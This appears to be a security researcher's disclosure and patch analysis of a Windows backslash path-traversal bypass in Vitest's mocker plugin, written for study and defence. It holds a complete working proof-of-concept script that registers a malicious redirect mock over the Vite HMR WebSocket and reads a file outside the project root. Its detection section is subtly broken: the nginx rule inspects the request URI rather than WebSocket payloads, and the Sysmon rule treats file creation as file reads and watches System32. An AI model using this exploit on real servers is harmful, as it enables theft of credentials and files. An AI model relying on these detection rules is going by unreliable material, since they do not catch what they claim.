---
title: "CVE-2026-112950: Windows Backslash Traversal in @vitest/mocker"
description: "Root-cause analysis of CVE-2026-112950: on Windows, a redirect mock path containing a backslash passes the Vite allowlist check added by the first fix and then reads a file outside the project root."
date: 2026-10-19
analysisType: "Patch Analysis"
cves: ["CVE-2026-112950"]
author: Sevban Dönmez (@jankesec)
canonical: https://jankesec.com/research/cve-2026-112950-vitest-mocker-path-traversal/
---

> **Disclosure:** CVE-2026-112950 is a bypass of the fix for [GHSA-82fw-gwwq-j7x9](https://github.com/vitest-dev/vitest/security/advisories/GHSA-82fw-gwwq-j7x9) in `@vitest/mocker`. I reported it to the Vitest maintainers as `jankesec`. It is fixed in 4.1.12 and 5.0.3 and published as [GHSA-xp26-3454-mjgp](https://github.com/vitest-dev/vitest/security/advisories/GHSA-xp26-3454-mjgp). GitHub scored it CVSS 3.1 5.9 (Medium): `AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N`.

On Windows, a redirect mock whose path contains `..\` passes the allowlist check added by the first fix, and the server then reads a file outside the project root. The attacker needs a connection to the Vite HMR WebSocket of a Windows dev server that registers the redirect handler. `mockerPlugin` and a standalone `interceptorPlugin` do; Vitest's own browser mode does not. Vite listens on localhost by default, so the server has to be exposed first, for example with `--host 0.0.0.0` or through a proxy.

The cause is a disagreement between the check and the read. The check treats `\` as an ordinary character. The file read treats it as a directory separator.

## The first fix

GHSA-82fw-gwwq-j7x9 showed that any client that can reach the dev server's HMR WebSocket could register a redirect mock for an arbitrary path, and the plugin would later return that file's contents as the module. The first fix runs the computed path through Vite's `isFileLoadingAllowed()` before it is stored:

```ts
// interceptorPlugin.ts after the first fix (simplified)
import { join } from 'node:path/posix'

const redirectUrl = new URL(event.redirect)
const redirect = join(server.config.root, redirectUrl.pathname)
if (!isFileLoadingAllowed(server.config, redirect)) return
event.redirect = redirect
```

With a custom scheme such as `traversal:`, `new URL()` keeps the path opaque. `traversal:../secret.txt` gives a pathname of `../secret.txt`, `join(root, '../secret.txt')` lands above the root, and `isFileLoadingAllowed()` rejects it. On Linux and macOS this works as intended.

## Where the check and the read disagree

`join` comes from `node:path/posix`, where `/` is the only separator and `\` is a normal filename character. Take a Vite root of `C:/workspace/project/root` and a redirect of `traversal:..\secret.txt`:

1. `redirectUrl.pathname` is `..\secret.txt`.
2. `join('C:/workspace/project/root', '..\\secret.txt')` finds no `..` segment and returns `C:/workspace/project/root/..\secret.txt`.
3. `isFileLoadingAllowed()` compares that string with `server.fs.allow`. It starts with the allowed root, so it passes and the mock is stored.
4. When the module is requested, the plugin calls `readFile(mock.redirect, 'utf-8')`. On Windows, Node opens the file through `CreateFileW`, where `\` separates directories and `..\` is resolved. The file that gets opened is `C:\workspace\project\secret.txt`, one level above the root.

<figure class="diagram">
<svg viewBox="0 0 760 280" xmlns="http://www.w3.org/2000/svg" role="img" aria-label="Flow of CVE-2026-112950. An attacker registers a redirect containing a backslash over the Vite HMR WebSocket. The allowlist check joins it with POSIX rules and passes. The file read resolves it with Win32 rules and opens a file outside the project root.">
<defs><marker id="vm-a" viewBox="0 0 8 8" refX="7" refY="4" markerWidth="7" markerHeight="7" orient="auto"><path d="M0,0 L8,4 L0,8 z" class="dg-arrow" /></marker></defs>
<rect x="20" y="20" width="720" height="60" rx="8" class="dg-box" />
<text x="40" y="45" class="dg-label">ATTACKER: WebSocket client on the Vite HMR socket</text>
<text x="40" y="65" class="dg-muted">Registers redirect: traversal:..\secret.txt</text>
<line x1="380" y1="80" x2="380" y2="110" class="dg-line" marker-end="url(#vm-a)" />
<rect x="20" y="110" width="720" height="70" rx="8" class="dg-box-crit" />
<text x="40" y="135" class="dg-label">ALLOWLIST CHECK: interceptorPlugin.ts</text>
<text x="40" y="155" class="dg-crit">join() from node:path/posix keeps "..\" as text, so isFileLoadingAllowed() passes</text>
<line x1="380" y1="180" x2="380" y2="210" class="dg-line" marker-end="url(#vm-a)" />
<rect x="20" y="210" width="720" height="60" rx="8" class="dg-box-danger" />
<text x="40" y="235" class="dg-label">FILE READ: readFile(mock.redirect) via CreateFileW</text>
<text x="40" y="255" class="dg-crit">Win32 treats "\" as a separator and resolves ".." → a file outside the project root is returned</text>
</svg>
<figcaption>The allowlist check reads <code>\</code> as an ordinary character. The file read treats it as a directory separator.</figcaption>
</figure>

## Evidence matrix

| Question | What I checked | Confidence | Notes and negative controls |
|---|---|---:|---|
| Which versions are affected? | `@vitest/mocker@4.1.11` and `@vitest/mocker@5.0.0` on Windows Server 2025 with Node.js 22, and `main` at `2ce29d5`. | High | All three behaved the same. The advisory lists 4.1.11 and `>=5.0.0-rc.2, <5.0.3` as affected. |
| Does the first fix still stop `/`? | Registered `traversal:../secret.txt` over the same WebSocket. | High | HTTP 404. `isFileLoadingAllowed()` rejected it. |
| Does the backslash form get through? | Registered `traversal:..\secret.txt`, which points at a sibling file holding a canary string. | High | HTTP 200 with `SYNTHETIC_OUTSIDE_ROOT_CANARY`. |
| What does the attacker need? | A WebSocket connection to the Vite HMR port of a server that registers the redirect handler (`mockerPlugin` or a standalone `interceptorPlugin`). | High | The dev server listens on localhost by default. Exposure needs `--host` or a proxy. Vitest browser mode does not register this handler. |
| Is the browser RPC path affected? | Read `packages/browser/src/node/rpc.ts`. | High | No. It joins paths with `pathe`, which converts backslashes before the check. |
| Does the fix close it? | Re-ran the PoC against 4.1.12 and 5.0.3. | High | Backslashes are converted to `/` before the join, so `isFileLoadingAllowed()` rejects both forms. |

## Reproduction

I reproduced the issue on a clean Windows machine with a canary file instead of real secrets. The script starts a standalone Vite server with `interceptorPlugin` and writes the canary next to the server root:

```bash
<tmpdir>\vitest-path-<uuid>\
├── root\          server.config.root, the only allowed directory
└── secret.txt     canary file containing SYNTHETIC_OUTSIDE_ROOT_CANARY
```

The script (`poc.mjs`) registers two redirects over the same WebSocket, one with `/` as the negative control and one with `\`, requests both modules over HTTP and prints the result:

```js
import { mkdir, writeFile } from 'node:fs/promises'
import { join } from 'node:path'
import { tmpdir } from 'node:os'
import { randomUUID } from 'node:crypto'
import { interceptorPlugin } from '@vitest/mocker/node'
import { createServer } from 'vite'
import { WebSocket } from 'ws'

const base = join(tmpdir(), `vitest-path-${randomUUID()}`)
const root = join(base, 'root')
const secret = join(base, 'secret.txt')
await mkdir(root, { recursive: true })
await writeFile(secret, 'SYNTHETIC_OUTSIDE_ROOT_CANARY')

const server = await createServer({
  root,
  configFile: false,
  logLevel: 'silent',
  server: { fs: { allow: [root] } },
  plugins: [
    {
      name: 'validation:virtual-modules',
      enforce: 'pre',
      resolveId(id) {
        if (id === '/control' || id === '/bypass') return id
      },
    },
    interceptorPlugin(),
  ],
})

await server.listen()
const port = new URL(server.resolvedUrls.local[0]).port
const baseUrl = server.resolvedUrls.local[0]

function register(id, redirect) {
  return new Promise((resolve, reject) => {
    const socket = new WebSocket(`ws://localhost:${port}`, 'vite-hmr')
    const timer = setTimeout(() => reject(new Error('registration timeout')), 5000)
    socket.on('message', (raw) => {
      let message
      try { message = JSON.parse(raw.toString()) } catch { return }
      if (message.type === 'custom' && message.event === 'vitest:interceptor:register:result') {
        clearTimeout(timer)
        socket.close()
        resolve()
      }
    })
    socket.on('open', () => socket.send(JSON.stringify({
      type: 'custom',
      event: 'vitest:interceptor:register',
      data: { type: 'redirect', raw: '', id, url: id, redirect },
    })))
    socket.on('error', reject)
  })
}

try {
  // 1. Negative control: Standard forward-slash traversal
  await register('/control', 'traversal:../secret.txt')
  const controlResponse = await fetch(new URL('/control', baseUrl))
  const controlBody = await controlResponse.text()

  // 2. Exploit vector: Windows backslash traversal
  await register('/bypass', 'traversal:..\\secret.txt')
  const bypassResponse = await fetch(new URL('/bypass', baseUrl))
  const bypassBody = await bypassResponse.text()

  const result = {
    platform: process.platform,
    root,
    outsideFile: secret,
    slashTraversalStatus: controlResponse.status,
    slashTraversalRejected: !controlBody.includes('SYNTHETIC_OUTSIDE_ROOT_CANARY'),
    backslashTraversalStatus: bypassResponse.status,
    backslashTraversalReturnedOutsideCanary: bypassBody.includes('SYNTHETIC_OUTSIDE_ROOT_CANARY'),
    returnedBody: bypassBody.includes('SYNTHETIC_OUTSIDE_ROOT_CANARY') ? 'SYNTHETIC_OUTSIDE_ROOT_CANARY' : null,
  }

  console.log(JSON.stringify(result, null, 2))
} finally {
  await server.close()
}
```

### Observed output

Run against `@vitest/mocker@4.1.11` on Windows. The script also prints `root` and `outsideFile`; I removed those local paths.

```json
{
  "platform": "win32",
  "slashTraversalStatus": 404,
  "slashTraversalRejected": true,
  "backslashTraversalStatus": 200,
  "backslashTraversalReturnedOutsideCanary": true,
  "returnedBody": "SYNTHETIC_OUTSIDE_ROOT_CANARY"
}
```

The two requests differ only in the separator. `traversal:../secret.txt` returned 404, so the first fix was active. `traversal:..\secret.txt` returned 200 with the canary string.

## The fix

The fix is commit [`15cc006`](https://github.com/vitest-dev/vitest/commit/15cc006aa9f8683dc5f7e895d011fa7dc751ce35) (PR #11377, released in 5.0.3), backported as [`b825313`](https://github.com/vitest-dev/vitest/commit/b825313243dc55757e8d7c0f9e7a792135e13473) (PR #11580, released in 4.1.12). It wraps the URL pathname in `slash()` from `@vitest/utils/helpers`, which converts backslashes to `/`, before the join. The same commit applies `slash()` to the paths in `packages/browser/src/node/rpc.ts`. That code was not exploitable, but now matches.

```diff
--- a/packages/mocker/src/node/interceptorPlugin.ts
+++ b/packages/mocker/src/node/interceptorPlugin.ts
@@ -2,6 +2,7 @@ import type { Plugin } from 'vite'
 import type { MockedModuleSerialized } from '../registry'
 import { readFile } from 'node:fs/promises'
 import { join } from 'node:path/posix'
+import { slash } from '@vitest/utils/helpers'
 import { isFileLoadingAllowed } from 'vite'
 import { ManualMockedModule, MockerRegistry } from '../registry'
 import { cleanUrl, createManualModuleSource } from '../utils'
@@ -77,7 +78,7 @@ export function interceptorPlugin(options: InterceptorPluginOptions = {}): Plugi
         } else {
           if (event.type === 'redirect') {
             const redirectUrl = new URL(event.redirect)
-            const redirect = join(server.config.root, redirectUrl.pathname)
+            const redirect = join(server.config.root, slash(redirectUrl.pathname))
             // the redirect is served through the `load` hook below, so it must
             // stay inside the file-serving allowlist and never escape the root
             if (!isFileLoadingAllowed(server.config, redirect)) {
```

`..\secret.txt` now becomes `../secret.txt` before `join()`. The result resolves above `server.config.root`, and `isFileLoadingAllowed()` rejects it, the same as the forward-slash form.

## Path resolution divergence matrix

The vulnerability exists entirely in the discrepancy between how standard URL parsers, POSIX path utilities, and the Win32 filesystem API interpret backslash characters:

| Layer | Input String | Interpreted Separators | Output / Decision | Security Implication |
| :--- | :--- | :--- | :--- | :--- |
| **WHATWG URL Parser** (`new URL(...)`) | `traversal:..\secret.txt` | Only `/` for non-special schemes | `pathname: "..\secret.txt"` | Backslash is kept intact; not normalized to slash. |
| **POSIX Path Join** (`path/posix.join`) | `join("C:/root", "..\secret.txt")` | Only `/` | `"C:/root/..\secret.txt"` | `..\` is treated as a literal file name segment, not a parent reference. |
| **Vite FS Allowlist** (`isFileLoadingAllowed`) | `"C:/root/..\secret.txt"` | Lexical prefix match against allowed roots | **ALLOWED** (`true`) | String begins with allowed prefix `"C:/root"`. |
| **Win32 Runtime** (`CreateFileW` via `readFile`) | `C:\root\..\secret.txt` | Both `/` and `\` | **Opens** `C:\secret.txt` | Kernel resolves `..\` as parent directory, escaping the root. |

## Detection engineering and telemetry

Exploitation targets the development server's HMR WebSocket and can be identified at both the network layer and within process telemetry.

### 1. Reverse proxy and WAF detection

When a development environment is proxied through Nginx, HAProxy, or a cloud WAF, WebSocket payloads with redirect mocks containing backslash traversal sequences can be blocked:

```nginx
# Nginx WebSocket inspection snippet
# Drop websocket upgrades carrying raw or encoded Windows directory traversal
map $http_upgrade $is_websocket {
    default 0;
    "websocket" 1;
}

# In server/location block for Vite HMR
if ($request_uri ~* "(%5c|\x5c|\\)\.\.(%5c|\x5c|\\|/)") {
    return 400 "Blocked traversal sequence";
}
```

### 2. Windows Sysmon file telemetry

SOC teams monitoring developer workstations or CI runners can track Node.js accessing sensitive files outside project roots via Sysmon Event ID 11 (FileCreate/FileRead):

```xml
<!-- Sysmon FileRead/FileAccess Rule -->
<RuleGroup name="" groupRelation="or">
  <FileCreate onmatch="include">
    <Rule groupRelation="and">
      <Image condition="end with">node.exe</Image>
      <TargetFilename condition="begin with">C:\Windows\System32\</TargetFilename>
    </Rule>
  </FileCreate>
</RuleGroup>
```

When exploitation occurs, telemetry flags `node.exe` serving requests directly from user profile secrets (e.g. `.aws/credentials`, `id_rsa`, or environment files) outside the working tree.

## Workaround: configuration hardening without upgrading

If an immediate upgrade to `@vitest/mocker` 4.1.12 or 5.0.3 is not feasible, apply the following mitigations:

1. **Restrict network interfaces:** Never expose Vite using `--host 0.0.0.0` or `--host` on shared networks, Wi-Fi, or CI environments. Keep server binding strictly to the loopback interface:
   ```ts
   // vite.config.ts
   export default defineConfig({
     server: {
       host: '127.0.0.1', // Enforce loopback only
       cors: false,
     },
   })
   ```

2. **Enforce strict filesystem isolation:** Disable serving files from outside the workspace root by configuring `server.fs`:
   ```ts
   // vite.config.ts
   export default defineConfig({
     server: {
       fs: {
         strict: true,
         deny: ['**/.*', '**/*.env*', '**/*.key'],
       },
     },
   })
   ```

## ATT&CK technique mapping

| Tactic | Technique ID | Technique Name | Exploitation Mechanism | Defensive Control |
| :--- | :--- | :--- | :--- | :--- |
| **Initial Access / Discovery** | `T1190` | Exploit Public-Facing Application | Exposed Vite HMR WebSocket endpoint receives malicious redirect mock registration. | Bind dev server strictly to `127.0.0.1`; firewall dev ports. |
| **Discovery** | `T1083` | File and Directory Discovery | Attacker traverses parent directories on Windows host to read files outside project root. | Normalize path separators with `slash()` before validation. |
| **Credential Access** | `T1552.001` | Unsecured Credentials: Credentials in Files | Arbitrary file read leaks configuration files, environment variables, or private keys. | Enforce `server.fs.deny` lists; isolate development tokens. |

## Takeaways

1. Normalize separators for the platform that consumes the string. `node:path/posix` suits URLs, but once the result reaches `readFile()` on Windows, convert `\` before any security check.
2. Do not assume a URL parser fixes backslashes. The WHATWG parser treats `\` as `/` for special schemes such as `http` and `file`, and keeps it for a custom scheme like `traversal:`.
3. Check the value you will actually use. Resolve the input to an absolute, normalized path (and with `realpath` where symlinks matter), then test containment on that result.